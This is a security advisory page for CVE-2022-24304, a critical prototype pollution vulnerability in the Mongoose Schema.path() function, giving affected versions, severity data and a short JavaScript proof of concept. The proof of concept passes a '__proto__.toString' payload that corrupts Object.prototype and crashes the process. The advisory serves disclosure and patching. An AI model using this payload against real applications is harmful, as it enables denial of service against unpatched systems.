GHSA-h8hf-x3f4-xwgp

Suggest an improvement
Source
https://github.com/advisories/GHSA-h8hf-x3f4-xwgp
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/08/GHSA-h8hf-x3f4-xwgp/GHSA-h8hf-x3f4-xwgp.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h8hf-x3f4-xwgp
Aliases
  • CVE-2022-24304
Published
2022-08-27T00:00:54Z
Modified
2024-04-22T23:44:02.962119Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Mongoose Vulnerable to Prototype Pollution in Schema Object
Details

Description

Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment.

Affected versions of this package are vulnerable to Prototype Pollution. The Schema.path() function is vulnerable to prototype pollution when setting the schema object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack.

Proof of Concept

// poc.js
const mongoose = require('mongoose');
const schema = new mongoose.Schema();

malicious_payload = '__proto__.toString'

schema.path(malicious_payload, [String])

x = {}
console.log(x.toString()) // crashed (Denial of service (DoS) attack)

Impact

This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

Database specific
{
    "cwe_ids": [
        "CWE-1321"
    ],
    "github_reviewed_at": "2024-04-22T23:17:47Z",
    "github_reviewed": true,
    "nvd_published_at": "2022-08-26T05:15:00Z",
    "severity": "CRITICAL"
}
References

Affected packages

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
6.0.0
Fixed
6.4.6

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/08/GHSA-h8hf-x3f4-xwgp/GHSA-h8hf-x3f4-xwgp.json"

npm / mongoose

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
5.13.15

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2022/08/GHSA-h8hf-x3f4-xwgp/GHSA-h8hf-x3f4-xwgp.json"